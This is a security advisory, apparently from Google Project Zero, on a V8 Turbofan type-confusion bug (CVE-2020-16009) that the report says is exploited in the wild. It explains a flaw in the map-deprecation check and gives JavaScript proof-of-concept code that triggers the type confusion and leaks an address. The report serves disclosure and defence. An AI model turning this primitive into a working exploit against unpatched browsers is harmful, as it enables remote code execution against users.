Turbofan fails to deoptimize code after map deprecation, leading to a type confusion vulnerability.
8d2abc7a60f64a99e0af818daab042a7V8: Turbofan fails to deoptimize code after map deprecation, leading to type confusion
NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.
VULNERABILITY DETAILS
When turbofan compiles code that performs a Map transition, it usually installs a CodeDependency so that the resulting code is deoptimized should the target Map ever be deprecated (meaning that the code should now transition to a different Map). This is done through the TransitionDependencyOffTheRecord function [1]. This function will only install the dependency if the target Map can be deprecated, which is determined by Map::CanBeDeprecated [2], shown next
bool Map::CanBeDeprecated() const {
for (InternalIndex i : IterateOwnDescriptors()) {
PropertyDetails details = instance_descriptors(kRelaxedLoad).GetDetails(i);
if (details.representation().IsNone()) return true;
if (details.representation().IsSmi()) return true;
if (details.representation().IsDouble() && FLAG_unbox_double_fields) <---
return true;
if (details.representation().IsHeapObject()) return true;
if (details.kind() == kData && details.location() == kDescriptor) {
return true;
}
}
return false;
}
As can be seen, this function assumes that a Map storing only fields of type Double or Tagged can not be deprecated if FLAG_unbox_double_fields is false, which is the case if pointer compression is enabled (the default on x64). This appears to be incorrect, as the following code demonstrated:
// Requires --nomodify-field-representation-inplace
function poc() {
function hax(o) {
o.a = 13.37;
}
let o1 = {};
for (let i = 0; i < 100000; i++) {
let o = i == 1000 ? {} : o1;
hax(o);
}
let o2 = {};
o2.a = {};
// Map1 is now deprecated
// %HaveSameMap(o2, o1) === false
let o3 = {};
hax(o3);
// o3 was now transitioned to a deprecated map
%DebugPrint(o3);
// ...
// - deprecated_map
}
%NeverOptimizeFunction(poc);
poc();
This code ends up performing a new transition to a deprecated map.
This bug can be exploited when combined with the in-place field generalization mechanism. In short, the idea is to
1. JIT compile a function that performs a transition from map1{a:double} to map2{a:double,b:whatever}
2. Deprecate map2. This does not deoptimize the JIT code since map2 was thought to not be deprecatable
3. In-place generalize map1.a to type tagged. This will not also generalize map2 since it is deprecated.
4. Execute the JIT code. This will effectively transition from map1{a:tagged} to map2{a:double,b:whatever}, which is incorrect and results in a type confusion.
The following code achieves that and causes a check failure in debug builds: \"Debug check failed: value.IsHeapNumber().\" while printing (presumably) an address in release builds.
REPRODUCTION CASE
// Tested on v8 built from current HEAD (dd84c3937058b086b6b7a412ac352179e20bd9c7)
// Requires --allow-natives-syntax
function assert(c) {
if (!c) { throw \"Assertion failed\"; }
}
function assertFalse(c) {
assert(!c);
}
function poc() {
function hax(o) {
o.c = 13.37;
}
function makeObjWithMap5() {
let o = {};
o.a = 13.37;
o.b = {};
return o
}
// Create a bunch of Maps. See the assertions for their relationships
let m1 = {};
let m2 = {};
assert(%HaveSameMap(m2, m1));
m2.a = 13.37;
let m3 = {};
m3.a = 13.37;
assert(%HaveSameMap(m3, m2));
m3.b = 1;
let m4 = {};
m4.a = 13.37;
m4.b = 1;
assert(%HaveSameMap(m4, m3));
m4.c = {};
let m4_2 = {};
m4_2.a = 13.37;
m4_2.b = 1;
m4_2.c = {};
assert(%HaveSameMap(m4_2, m4));
let m5 = {};
m5.a = 13.37;
assert(%HaveSameMap(m5, m2));
m5.b = 13.37;
assertFalse(%HaveSameMap(m5, m3));
// At this point, Map3 and Map4 are both deprecated. Map2 transitions to Map5.
// Map5 is the migration target for Map3. The Migration target for Map4 is a new Map
assertFalse(%HaveSameMap(m5, m3));
let m6 = makeObjWithMap5();
assert(%HaveSameMap(m6, m5));
hax(m6);
let kaputt = makeObjWithMap5();
assert(%HaveSameMap(kaputt, m5));
for (let i = 0; i < 100000; i++) {
let o = i == 1337 ? makeObjWithMap5() : m6;
hax(o);
}
// Map4 is deprecated, so this property access triggers a Map migration.
// This will end up creating a new Map, Map7, to which both Map4 and Map6
// migrate. Map5's transition entry afterwards points to Map7 and no
// longer to Map6. Map6 is deprecated.
let m7 = m4_2;
assert(%HaveSameMap(m7, m4));
m7.c;
assertFalse(%HaveSameMap(m7, m4));
// However, hax was not deoptimized and still transitions to Map6 because
// Map::CanBeDeprecated returns false for it.
// This does a in-place map generalization of Map5 and Map7, but not Map6.
// Map6 still indicates that .a should be a double field.
kaputt.a = \"asdf\";
assert(%HaveSameMap(kaputt, m5));
// This now migrates to the wrong map (Map6) because hax was not deoptimized.
// This is incorrect because .a now stores a HeapObject and not a double.
hax(kaputt);
// This now fails in debug builds
%HeapObjectVerify(kaputt);
// This prints (presumably) an address in release builds
console.log(kaputt.a);
}
%NeverOptimizeFunction(poc);
poc();
CREDIT INFORMATION
Clement Lecigne of Google's Threat Analysis Group and Samuel Gro\u00df of Google Project Zero
NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.
[1] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/compiler/compilation-dependencies.cc;l=641;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1
[2] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/objects/map-inl.h;l=563;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1
Related CVE Numbers: CVE-2020-16009.
Found by: [email protected]